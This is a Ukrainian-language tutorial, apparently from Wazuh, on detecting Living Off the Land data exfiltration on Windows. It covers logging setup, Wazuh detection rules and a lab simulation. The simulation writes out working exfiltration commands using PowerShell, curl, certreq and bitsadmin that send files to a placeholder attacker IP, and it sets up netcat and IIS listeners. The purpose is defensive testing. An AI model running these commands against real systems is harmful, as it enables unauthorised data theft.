Виявлення викрадення даних є важливим аспектом гарантування кібербезпеки, особливо коли зловмисники використовують вбудовані системні інструменти, щоб уникнути виявлення. Ця методика, відома як Living Off the Land (LOTL), передбачає зловживання законними утилітами операційної системи, завдяки чому шкідлива діяльність зливається зі звичайними операціями.
Групи розвинених сталих загроз (Advanced Persistent Threat, APT) зазвичай використовують методи LOTL, використовуючи довірені системні інструменти, такі як bitsadmin і certutil, щоб викрадати дані та уникати виявлення. Ці інструменти є рідними для середовищ Windows і можуть здійснювати мережеві комунікації, не викликаючи підозр.
Наприклад, зловмисники можуть використовувати bitsadmin для створення завдань фонового завантаження, які приховано передають конфіденційні файли на зовнішні сервери. certutil може використовуватися для кодування та передачі даних під виглядом завдань управління сертифікатами. Аналогічно, PowerShell має потужні можливості написання скриптів, які дозволяють зловмисникам збирати, стискати, шифрувати та безпечно передавати файли, одночасно поєднуючись з легальною адміністративною діяльністю.
Ця стаття демонструє, як Wazuh може виявляти викрадення даних, виконане за допомогою інструментів LOTL в середовищі Windows.
Інфраструктура
Було створено наступну інфраструктуру, щоб продемонструвати, як Wazuh виявляє викрадення даних, виконане за допомогою інструментів Living Off the Land.
- Центральні компоненти останньої доступної версії Wazuh (сервер Wazuh, індексатор Wazuh та дешборд Wazuh). Щоб завантажити та налаштувати віртуальну машину Wazuh, слід дотримуватися вказівок з цього посібника.
- Кінцевий комп’ютер з Windows 11 та встановленим агентом Wazuh. Щоб встановити агент Wazuh, слід звернутися до посібника з інсталяції.
- Кінцевий комп’ютер Windows Server 2019 із запущеною службою інтернет-інформації (IIS), на якому працює зловмисник.
- Кінцева точка Ubuntu 22.04 LTS в якості другої кінцевої точки зловмисника.
Конфігурація
Кінцева точка
У цьому розділі показано, як налаштувати кінцеву точку Windows 11 на перенаправлення логів Sysmon і PowerShell на сервер Wazuh.
Перенаправлення логів Sysmon на сервер Wazuh
Потрібно виконати наведені нижче дії, щоб налаштувати Sysmon на контрольованій кінцевій точці та перенаправити логи в каналі подій Sysmon на сервер Wazuh для аналізу.
1. Завантажити Sysmon зі сторінки Microsoft Sysinternals.
2. Розархівувати завантажений архів Sysmon до обраного каталогу.
3. Завантажити файл конфігурації Sysmon (sysmonconfig.xml) за допомогою PowerShell з правами адміністратора. Замінити <SYSMON_EXECUTABLE_PATH> на директорію, де знаходиться Sysmon:
> wget -Uri https://wazuh.com/resources/blog/emulation-of-attack-techniques-and-detection-with-wazuh/sysmonconfig.xml -OutFile <SYSMON_EXECUTABLE_PATH>\sysmonconfig.xml
4. Перейти до каталогу з виконуваним файлом Sysmon і виконати наступну команду, щоб встановити й запустити Sysmon:
> .\Sysmon64.exe -accepteula -i sysmonconfig.xml
5. Додати наступну конфігурацію до блоку <ossec_config> файлу C:\Program Files (x86)\ossec-agent\ossec.conf для перенаправлення подій Sysmon на сервер Wazuh:
<localfile>
<location>Microsoft-Windows-Sysmon/Operational</location>
<log_format>eventchannel</log_format>
</localfile>
6. Перезапустити агент Wazuh, щоб застосувати нову конфігурацію:
> Restart-Service -Name wazuh
Пересилання логів PowerShell на сервер Wazuh
Щоб виявити проникнення через PowerShell, потрібно увімкнути та зібрати логи PowerShell на контрольованій кінцевій точці Windows.
Примітка: За замовчуванням Windows не збирає докладні дані про виконання команд в PowerShell через підвищене використання системних ресурсів і вимог до сховища.
1. Запустити PowerShell від імені адміністратора і виконати наступні команди, щоб увімкнути PowerShell і блокування логів скриптів.
> function Enable-PSLogging {
# Define registry paths for ScriptBlockLogging and ModuleLogging
$scriptBlockPath = 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'
$moduleLoggingPath = 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging'
# Enable Script Block Logging
if (-not (Test-Path $scriptBlockPath)) {
$null = New-Item $scriptBlockPath -Force
}
Set-ItemProperty -Path $scriptBlockPath -Name EnableScriptBlockLogging -Value 1
# Enable Module Logging
if (-not (Test-Path $moduleLoggingPath)) {
$null = New-Item $moduleLoggingPath -Force
}
Set-ItemProperty -Path $moduleLoggingPath -Name EnableModuleLogging -Value 1
# Specify modules to log - set to all (*) for comprehensive logging
$moduleNames = @('*') # To specify individual modules, replace * with module names in the array
New-ItemProperty -Path $moduleLoggingPath -Name ModuleNames -PropertyType MultiString -Value $moduleNames -Force
Write-Output "Script Block Logging and Module Logging have been enabled."
}
> Enable-PSLogging
Очікувані результати наведені нижче:
> Script Block Logging and Module Logging have been enabled.
2. Вставити наступну конфігурацію в блок <ossec_config> файлу C:\Program Files (x86)\ossec-agent\ossec.conf для надсилання логів PowerShell на сервер Wazuh для аналізу.
<localfile>
<location>Microsoft-Windows-PowerShell/Operational</location>
<log_format>eventchannel</log_format>
</localfile>
3. Перезавантажити кінцеву точку, щоб застосувати нову конфігурацію:
> Restart-Computer
Сервер Wazuh
У цьому розділі будуть створюватися правила на сервері Wazuh для виявлення викрадення даних за допомогою LOTL на контрольованій кінцевій точці.
1. Створити файл lotl_data_exfiltration.xml в каталозі /var/ossec/etc/rules/:
# touch /var/ossec/etc/rules/lotl_data_exfiltration.xml
2. Додати наступні правила до файлу /var/ossec/etc/rules/lotl_data_exfiltration.xml:
<group name="lotl,powershell,">
<rule id="100017" level="8">
<if_sid>61603</if_sid>
<field name="win.eventdata.originalFileName" type="pcre2">(?i)(bitsadmin\.exe)</field>
<field name="win.eventdata.commandLine" type="pcre2">(?i)(transfer|addfile|upload|http)</field>
<options>no_full_log</options>
<description>Exfiltration with Bitadmin identified</description>
<mitre>
<id>T1102</id>
<id>T1567.002</id>
</mitre>
</rule>
<rule id="100018" level="8">
<if_sid>61603</if_sid>
<field name="win.eventdata.originalFileName" type="pcre2">(?i)(curl\.exe)</field>
<field name="win.eventdata.commandLine" type="pcre2">(?i)(curl\s+-T\s+.*C:\\.*http)</field>
<options>no_full_log</options>
<description>Exfiltration using Curl detected</description>
<mitre>
<id>T1102</id>
<id>T1567.002</id>
</mitre>
</rule>
<rule id="100019" level="9">
<if_sid>60009</if_sid>
<field name="win.eventdata.contextInfo" type="pcre2">(?i)Invoke-WebRequest</field>
<field name="win.eventdata.payload" type="pcre2">(?i)(Uri|http|Post|InFile|C:\\)</field>
<description>Possible Powershell data exfiltration detected .</description>
<mitre>
<id>T1059.001</id>
<id>T1567.002</id>
</mitre>
</rule>
<rule id="100020" level="9">
<if_sid>61603</if_sid>
<field name="win.eventdata.originalFileName" type="pcre2">(?i)(certreq\.exe)</field>
<field name="win.eventdata.commandLine" type="pcre2">(?i)(post|config|http|C:\\)</field>
<options>no_full_log</options>
<description>Possible data exfiltration using Certreq detected</description>
<mitre>
<id>T1102</id>
<id>T1567.002</id>
</mitre>
</rule>
</group>
Де:
- Правило з ID 100017 виявляє викрадення даних через bitsadmin.
- Правило з ID 100018 виявляє викрадення даних за допомогою curl.
- Правило з ID 100019 виявляє можливе викрадення даних через PowerShell.
- Правило з ID 100020 виявляє викрадення даних з використанням certreq.
3. Перезапустити менеджер Wazuh, щоб застосувати зміни конфігурації:
# systemctl restart wazuh-manager
Симуляція атаки
Ця симуляція атаки показує, як можна виявити викрадення даних за допомогою Wazuh. Для передачі даних використовуються інструменти Netcat, PowerShell, curl, certreq і bitsadmin. Для перевірки конфігурацій необхідно виконати наступні дії.
Примітка: Це слід робити тільки в контрольованому середовищі.
Налаштування прослуховувача Netcat на кінцевій точці Ubuntu
Слід виконати наведені нижче кроки, щоб налаштувати прослуховувач Netcat на кінцевій точці Ubuntu. Це необхідно для імітації атаки на викрадення даних. Атака буде спрямована на кінцеву точку Windows.
1. Налаштувати прослуховувач Netcat на будь-якому вибраному порту за допомогою команди нижче. Замінити <LISTENER_PORT> вибраним портом для прослуховування.
# nc -lvp <LISTENER_PORT>
2. Викрадені дані також можна записати у файл за допомогою команди:
# nc -lvp <LISTENER_PORT> > FILE.txt
Де:
- l: Прослуховує вхідні з’єднання.
- p: Вказує порт для прослуховування.
- v: Надає розгорнутий вивід з’єднання.
- <LISTENER_PORT>: Вказує порт, на якому Netcat здійснює прослуховування.
Налаштування прослуховувача bitsadmin на сервері Windows
bitsadmin не підтримує стандартні Netcat або базові вебсервери як прослуховувачі або клієнти, тому потрібно налаштувати сервер Internet Information Services (IIS). Він буде отримувати файли, передані через службу фонової інтелектуальної передачі (Background Intelligent Transfer Service, BITS).
Слід виконати ці кроки, щоб налаштувати сервер прослуховування bitsadmin на сервері Windows:
1. Відкрити Server Manager і натиснути Add roles and features в розділі Dashboard. Натиснути Next та переконатися, що у розділі Installation Type вибрано Role-based or Feature-based. Натиснути Next.
2. У розділі Server Selection вибрати сервер, на який потрібно встановити ролі та функції, і натиснути Next.
3. У розділі Server Roles вибрати Web Server (IIS) і натиснути Next. У розділі Features вибрати Background Intelligent Transfer Service (BITS) і натиснути Add Features й Next, щоб встановити вибрану роль і функцію.
4. Після встановлення IIS і BITS слід відкрити Internet Information Services (IS) Manager, розгорнути вузол сервера на панелі Connections і вибрати Default Web Site.
5. Двічі клацнути BITS Uploads у розділі Other панелі Features View, щоб відкрити його конфігурацію. Обрати Allow clients to upload files й натиснути Apply на правій панелі. У цій статті використовуються налаштування за замовчуванням, однак можна налаштувати такі параметри, як ліміти на передачу та параметри автентифікації, за потреби.
6. Створити каталог у будь-якому потрібному місці на кінцевій точці. У цій статті створено каталог C:\Users\Administrator\Desktop\uploads.
7. Перейти до каталогу, клацнути на ньому правою кнопкою миші й вибрати Properties. Перейти на вкладку Security і додати певних користувачів або групи з необхідними дозволами, якщо потрібно.
Примітка: Для цілей цієї демонстрації налаштовується каталог C:\Users\Administrator\Desktop\uploads так, щоб він був доступним для всіх, щоб дозволити BIT передавати файли назовні.
8. Клацнути правою кнопкою миші на папці C:\Users\Administrator\Desktop\uploads, вибрати Properties, перейти на вкладку Security, натиснути Edit, щоб змінити дозволи, натиснути Add у вікні Permissions й ввести “Everyone“.
9. Клацнути Check Names, натиснути ОК, надати права на Modify, Write і Read для Everyone, щоб дозволити будь-кому завантажувати й переглядати файли, а потім натиснути Apply та ОК.
10. Після повернення до Internet Information Services (IIS), клацнути правою кнопкою миші на Default Web Site на панелі Connections і вибрати Add Virtual Directory. У текстовому полі Alias ввести ‘uploads’. Під Physical path ввести раніше створений каталог C:\Users\Administrator\Desktop\uploads.
11. У Features View двічі клацнути Directory Browsing, щоб увімкнути його, якщо його ще не увімкнено.
12. У Features View двічі клацнути Authentication і переконатися, що увімкнено Anonymous Authentication, щоб дозволити завантаження файлів без входу в систему.
13. Нарешті, перевірити функцію завантаження файлів, зайшовши на вебсайт через браузер, використовуючи IP-адресу або доменне ім’я.
Замінити <ATTACKER_SERVER_IP_ADDRESS> на IP-адресу сервера IIS зловмисника.
http://<ATTACKER_SERVER_IP_ADDRESS>/uploads
Де:
- <ATTACKER_SERVER_IP_ADDRESS>: Вказує IP-адресу другого пристрою зловмисника, на якому запущено сервер IIS.
- uploads: Вказує каталог, в якому будуть зберігатися викрадені або передані файли.
Виконання атак на викрадення даних та їхнє виявлення за допомогою Wazuh
Після активації прослуховувача слід виконати атаки на кінцеву точку Windows з метою викрадення даних.
Викрадення даних за допомогою PowerShell
PowerShell – це потужна мова скриптів, вбудована в Windows, яка зазвичай використовується для автоматизації та системного адміністрування. Однак її глибока інтеграція з операційною системою (ОС) і здатність виконувати команди, не викликаючи антивірусних сповіщень, роблять її цінним інструментом для зловмисників. Кіберзлочинці використовують PowerShell на різних етапах атаки, включаючи розвідку, підвищення привілеїв і викрадення даних. Виявлення шкідливої активності є складним завданням, оскільки PowerShell працює в довірених системних процесах.
1. Запустити наведену нижче команду на кінцевій точці Windows, щоб за допомогою Powershell викрасти простий текстовий файл.
> Invoke-WebRequest -Uri "http://<ATTACKER_IP>:<LISTENER_PORT>" -Method Post -InFile "<PATH_TO_TEST_FILE>\Test_file.txt"
Де:
- -Uri: Вказує цільову URL-адресу, на яку надсилається запит.
- <ATTACKER_IP>: IP-адреса пристрою зловмисника в Ubuntu.
- <LISTENER_PORT>: Вказує порт, на якому Netcat здійснює прослуховування.
- -InFile: Вказує файл, який потрібно викрасти.
- -Method Post: Вказує, що методом HTTP-запиту є POST, який зазвичай використовується для завантаження даних.
- <PATH_TO_TEST_FILE>\Test_file.txt: Це локальний шлях до файлу, який намагаються викрасти.
2. Переконатися, що викрадені дані перехоплені прослуховувачем Netcat, запущеним на пристрої зловмисника з Ubuntu.
3. При виконанні команди на дешборді Wazuh з’являється наступне сповіщення.

Викрадення даних за допомогою curl
curl (Client URL) – це інструмент командного рядка, який використовується для передачі даних за різними мережевими протоколами, включаючи HTTP, HTTPS, FTP і SCP. Він широко використовується для автоматизації, взаємодії з API та передачі файлів. Завдяки своїй універсальності та здатності взаємодіяти з віддаленими серверами, curl використовується для зловмисних дій, таких як завантаження шкідливих файлів та викрадення конфіденційних даних. Оскільки це легальний інструмент, доступний у більшості операційних систем, його зловживання часто може залишатися невиявленим за допомогою традиційних заходів безпеки.
1. Під час активності прослуховувача Netcat, слід запустити наведену нижче команду, щоб викрасти інший файл за допомогою curl в командному рядку:
> curl -T "<PATH_TO_TEST_FILE>\Test_file.txt" http://<ATTACKER_IP>:<LISTENER_PORT>
Де:
- -T: Вказує системі передати/завантажити файл
- <PATH_TO_TEST_FILE>\Test_file.txt: локальний шлях до файлу, який намагаються викрасти.
- <ATTACKER_IP>: IP-адреса пристрою зловмисника в Ubuntu.
- <LISTENER_PORT>: вказує порт, на якому Netcat здійснює прослуховування.
2. Переконатися, що викрадені дані успішно отримані прослуховувачем Netcat на комп’ютері зловмисника Ubuntu.
3. При виконанні команди на дешборді Wazuh з’явиться наступне попередження.

Викрадення даних за допомогою certreq
certreq – це інструмент командного рядка Windows, який використовується для створення, надсилання та керування запитами на підписання сертифікатів (Certificate Signing Requests, CSR) для середовища інфраструктури відкритих ключів (Public Key Infrastructure, PKI). Він допомагає генерувати CSR на основі приватного ключа, який вже існує, надсилати їх до центру сертифікації (Certification Authority, CA) для підписання, а також отримувати та встановлювати підписаний сертифікат. certreq зазвичай довіряють для легітимного управління сертифікатами, а зловмисники можуть використовувати його як прихований канал для викрадення даних з мережі.
1. Запустити наступну команду, щоб протестувати сценарій викрадення даних за допомогою certreq.
> certreq -Post -config http://<ATTACKER_IP>:<LISTENER_PORT> <PATH_TO_TEST_FILE>\Test_file.txt
Де:
- -Post: Вказує, що запит надсилається на сервер (в цьому випадку на пристрій зловмисника).
- -config: Вказує URL-адресу сервера, який буде обробляти запит на сертифікат.
- <ATTACKER_IP>: IP-адреса пристрою зловмисника Ubuntu.
- <LISTENER_PORT>: Вказує порт, на якому Netcat здійснює прослуховування.
- <PATH_TO_TEST_FILE>\Test_file.txt: локальний шлях до файлу, який намагаються викрасти.
2. Переконатися, що викрадені дані були успішно отримані прослуховувачем Netcat на системі зловмисника Ubuntu.
3. Після виконання команди дешборд Wazuh видасть наступне попередження.

Викрадення даних за допомогою bitsadmin
bitsadmin – це утиліта командного рядка для керування службою фонової інтелектуальної передачі даних (Background Intelligent Transfer Service, BITS) у Windows. В основному вона використовується для фонового завантаження файлів, таких як системні оновлення, мінімізуючи при цьому збої в роботі мережі. Однак кіберзлочинці використовують bitsadmin для зловмисних дій, зокрема для поширення шкідливого програмного забезпечення, виконання віддалених команд і викрадення конфіденційних даних. BITS є вбудованою та надійною службою Windows, її використання часто дозволяє обійти звичайні засоби захисту.
1. Запустити команду нижче, щоб змоделювати сценарій викрадення даних за допомогою bitsadmin.
> bitsadmin /transfer "TEST-JOB" /upload http://<ATTACKER_SERVER_IP_ADDRESS>/uploads/Test_file.txt <PATH_TO_TEST_FILE>\Test_file.txt
Де:
- /Transfer: Вказує нове завдання BITS з назвою “TEST-JOB”.
- /upload: Вказує, що завдання є операцією завантаження, передаючи файл з локальної машини (кінцевої точки Windows) на віддалений сервер (другий пристрій зловмисника)
- <ATTACKER_SERVER_IP_ADDRESS>/uploads/Test_file.txt: Вказує URL-адресу призначення, на яку буде завантажено файл.
- <PATH_TO_TEST_FILE>\Test_file.txt: Локальний шлях до файлу, який буде вилучено
2. Варто переконатися, що дані було успішно надіслано кінцевою точкою Windows. У разі успіху очікується подібний висновок, як показано нижче.
DISPLAY: 'TEST-JOB' TYPE: UPLOAD STATE: TRANSFERRED
PRIORITY: NORMAL FILES: 1 / 1 BYTES: 41 / 41 (100%)
Transfer complete.
3. Після виконання команди викрадення даних на першому кроці на дешборді Wazuh з’являється наступне сповіщення.

Висновок
Методи Living Off the Land (LOTL) ускладнюють виявлення викрадення даних, оскільки зловмисники використовують легальні системні інструменти, щоб обійти засоби контролю безпеки. У цій статті було змодельовано сценарії викрадення даних і показано, як їх можна виявити за допомогою Wazuh.
Wazuh – це платформа безпеки з відкритим вихідним кодом, що надає широкий спектр можливостей для моніторингу та захисту інфраструктури від зловмисних дій. Щоб дізнатися більше про Wazuh та його можливості, перегляньте наші статті в блозі та приєднуйтесь до офіційної спільноти Slack.







